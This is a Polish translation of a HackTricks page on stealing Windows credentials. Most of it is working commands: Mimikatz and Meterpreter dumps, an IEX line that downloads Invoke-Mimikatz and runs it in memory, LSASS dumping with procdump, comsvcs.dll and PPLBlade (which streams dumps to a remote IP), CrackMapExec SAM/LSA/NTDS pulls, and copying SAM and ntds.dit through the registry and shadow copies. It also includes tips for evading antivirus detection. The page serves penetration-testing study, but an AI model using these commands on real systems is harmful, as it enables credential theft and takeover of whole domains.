Stealing Windows Credentials

Wsparcie dla HackTricks

Poświadczenia Mimikatz

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Znajdź inne rzeczy, które Mimikatz może zrobić na tej stronie.

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

Dowiedz się o możliwych zabezpieczeniach poświadczeń tutaj. Te zabezpieczenia mogą zapobiec Mimikatz w wydobywaniu niektórych poświadczeń.

Poświadczenia z Meterpreter

Użyj Wtyczki Poświadczeń którą stworzyłem, aby wyszukiwać hasła i hasze wewnątrz ofiary.

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

Obejście AV

Procdump + Mimikatz

Ponieważ Procdump z SysInternals jest legalnym narzędziem Microsoftu, nie jest wykrywany przez Defendera. Możesz użyć tego narzędzia do zrzutu procesu lsass, pobrania zrzutu i wyodrębnienia poświadczeń lokalnie z zrzutu.

Dump lsass
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
Wyodrębnij dane uwierzytelniające z zrzutu
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

Ten proces jest wykonywany automatycznie za pomocą SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

Uwaga: Niektóre AV mogą wykrywać jako złośliwe użycie procdump.exe do zrzutu lsass.exe, ponieważ wykrywają ciąg "procdump.exe" i "lsass.exe". Dlatego jest bardziej dyskretne przekazanie jako argumentu PID lsass.exe do procdump zamiast nazwy lsass.exe.

Zrzut lsass z comsvcs.dll

DLL o nazwie comsvcs.dll znajdujący się w C:\Windows\System32 jest odpowiedzialny za zrzut pamięci procesu w przypadku awarii. Ten DLL zawiera funkcję o nazwie MiniDumpW, zaprojektowaną do wywoływania za pomocą rundll32.exe. Nie ma znaczenia użycie pierwszych dwóch argumentów, ale trzeci jest podzielony na trzy komponenty. Identyfikator procesu do zrzutu stanowi pierwszy komponent, lokalizacja pliku zrzutu reprezentuje drugi, a trzeci komponent to ściśle słowo full. Nie istnieją alternatywne opcje. Po przetworzeniu tych trzech komponentów, DLL angażuje się w tworzenie pliku zrzutu i przenoszenie pamięci określonego procesu do tego pliku. Wykorzystanie comsvcs.dll jest możliwe do zrzutu procesu lsass, eliminując potrzebę przesyłania i uruchamiania procdump. Ta metoda jest opisana szczegółowo na https://en.hackndo.com/remote-lsass-dump-passwords/.

Następujące polecenie jest używane do wykonania:

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

Możesz zautomatyzować ten proces za pomocą lssasy.

Zrzut lsass za pomocą Menedżera zadań

  1. Kliknij prawym przyciskiem myszy na pasku zadań i wybierz Menedżera zadań

  2. Kliknij na Więcej szczegółów

  3. Wyszukaj proces "Local Security Authority Process" w zakładce Procesy

  4. Kliknij prawym przyciskiem myszy na proces "Local Security Authority Process" i wybierz "Utwórz plik zrzutu".

Zrzut lsass za pomocą procdump

Procdump to podpisany przez Microsoft plik binarny, który jest częścią zestawu sysinternals.

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

Dumpin lsass z PPLBlade

PPLBlade to narzędzie do zrzutu chronionych procesów, które wspiera obfuskację zrzutów pamięci i ich transfer na zdalne stacje robocze bez zapisywania ich na dysku.

Kluczowe funkcjonalności:

  1. Obejście ochrony PPL

  2. Obfuskacja plików zrzutów pamięci w celu unikania mechanizmów wykrywania opartych na sygnaturach Defendera

  3. Przesyłanie zrzutu pamięci metodami RAW i SMB bez zapisywania go na dysku (zrzut bezplikowy)

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

CrackMapExec

Zrzutuj hashe SAM

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Zrzut sekretów LSA

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

Zrzut NTDS.dit z docelowego DC

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

Zrzutuj historię haseł NTDS.dit z docelowego DC

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

Pokaż atrybut pwdLastSet dla każdego konta NTDS.dit

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

Kradzież SAM i SYSTEM

Te pliki powinny być znajdowane w C:\windows\system32\config\SAM i C:\windows\system32\config\SYSTEM. Ale nie możesz ich po prostu skopiować w zwykły sposób, ponieważ są chronione.

Z rejestru

Najłatwiejszym sposobem na kradzież tych plików jest uzyskanie kopii z rejestru:

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

Pobierz te pliki na swoją maszynę Kali i wyodrębnij hashe używając:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Volume Shadow Copy

Możesz wykonać kopię chronionych plików za pomocą tej usługi. Musisz być administratorem.

Using vssadmin

Binarna wersja vssadmin jest dostępna tylko w wersjach Windows Server

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

Ale możesz to zrobić również z Powershell. Oto przykład jak skopiować plik SAM (używany dysk twardy to "C:", a plik jest zapisywany w C:\users\Public), ale możesz to wykorzystać do kopiowania dowolnego chronionego pliku:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Invoke-NinjaCopy

Na koniec możesz również użyć skryptu PS Invoke-NinjaCopy, aby skopiować SAM, SYSTEM i ntds.dit.

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Aktywne Katalogi - NTDS.dit

Plik NTDS.dit jest znany jako serce Active Directory, przechowując kluczowe dane o obiektach użytkowników, grupach i ich członkostwie. To tutaj przechowywane są hash'e haseł dla użytkowników domeny. Plik ten jest bazą danych Extensible Storage Engine (ESE) i znajduje się w %SystemRoom%/NTDS/ntds.dit.

W tej bazie danych utrzymywane są trzy główne tabele:

  • Tabela Danych: Ta tabela jest odpowiedzialna za przechowywanie szczegółów o obiektach, takich jak użytkownicy i grupy.

  • Tabela Linków: Śledzi relacje, takie jak członkostwo w grupach.

  • Tabela SD: Deskryptory zabezpieczeń dla każdego obiektu są przechowywane tutaj, zapewniając bezpieczeństwo i kontrolę dostępu do przechowywanych obiektów.

Więcej informacji na ten temat: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/

Windows używa Ntdsa.dll do interakcji z tym plikiem, a jest on używany przez lsass.exe. Następnie, część pliku NTDS.dit może być zlokalizowana w pamięci lsass (możesz znaleźć ostatnio dostępne dane prawdopodobnie z powodu poprawy wydajności dzięki użyciu cache).

Deszyfrowanie hash'y w NTDS.dit

Hash jest szyfrowany 3 razy:

  1. Deszyfruj Klucz Szyfrowania Hasła (PEK) używając BOOTKEY i RC4.

  2. Deszyfruj hash używając PEK i RC4.

  3. Deszyfruj hash używając DES.

PEK ma tę samą wartość w każdym kontrolerze domeny, ale jest szyfrowany wewnątrz pliku NTDS.dit przy użyciu BOOTKEY pliku SYSTEM kontrolera domeny (jest inny między kontrolerami domeny). Dlatego, aby uzyskać dane uwierzytelniające z pliku NTDS.dit, potrzebujesz plików NTDS.dit i SYSTEM (C:\Windows\System32\config\SYSTEM).

Kopiowanie NTDS.dit za pomocą Ntdsutil

Dostępne od Windows Server 2008.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

Możesz również użyć sztuczki z kopią zapasową woluminu, aby skopiować plik ntds.dit. Pamiętaj, że będziesz również potrzebować kopii pliku SYSTEM (ponownie, zrzutuj go z rejestru lub użyj sztuczki z kopią zapasową woluminu).

Ekstrakcja hashy z NTDS.dit

Gdy już zdobędziesz pliki NTDS.dit i SYSTEM, możesz użyć narzędzi takich jak secretsdump.py, aby ekstrahować hashe:

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

Możesz również wyodrębnić je automatycznie używając ważnego użytkownika z uprawnieniami administratora domeny:

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

Dla dużych plików NTDS.dit zaleca się ich ekstrakcję za pomocą gosecretsdump.

Na koniec możesz również użyć modułu metasploit: post/windows/gather/credentials/domain_hashdump lub mimikatz lsadump::lsa /inject

Ekstrakcja obiektów domeny z NTDS.dit do bazy danych SQLite

Obiekty NTDS można wyodrębnić do bazy danych SQLite za pomocą ntdsdotsqlite. Wyodrębniane są nie tylko sekrety, ale także całe obiekty i ich atrybuty do dalszej ekstrakcji informacji, gdy surowy plik NTDS.dit został już pobrany.

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

The SYSTEM hive jest opcjonalny, ale pozwala na deszyfrowanie sekretów (hasła NT i LM, dodatkowe poświadczenia, takie jak hasła w postaci czystego tekstu, klucze kerberos lub zaufania, historie haseł NT i LM). Wraz z innymi informacjami, wyodrębniane są następujące dane: konta użytkowników i maszyn z ich haszami, flagi UAC, znacznik czasu ostatniego logowania i zmiany hasła, opisy kont, nazwy, UPN, SPN, grupy i członkostwa rekurencyjne, drzewo jednostek organizacyjnych i członkostwo, zaufane domeny z typem zaufania, kierunkiem i atrybutami...

Lazagne

Pobierz binarkę z tutaj. Możesz użyć tej binarki do wyodrębnienia poświadczeń z kilku programów.

lazagne.exe all

Inne narzędzia do wyodrębniania poświadczeń z SAM i LSASS

Windows credentials Editor (WCE)

To narzędzie może być używane do wyodrębniania poświadczeń z pamięci. Pobierz je z: http://www.ampliasecurity.com/research/windows-credentials-editor/

fgdump

Wyodrębnij poświadczenia z pliku SAM

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

Wyodrębnij dane uwierzytelniające z pliku SAM

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

Pobierz go z: http://www.tarasco.org/security/pwdump_7 i po prostu wykonaj go, a hasła zostaną wyodrębnione.

Ochrona

Dowiedz się o niektórych zabezpieczeniach poświadczeń tutaj.

Wsparcie dla HackTricks

Last updated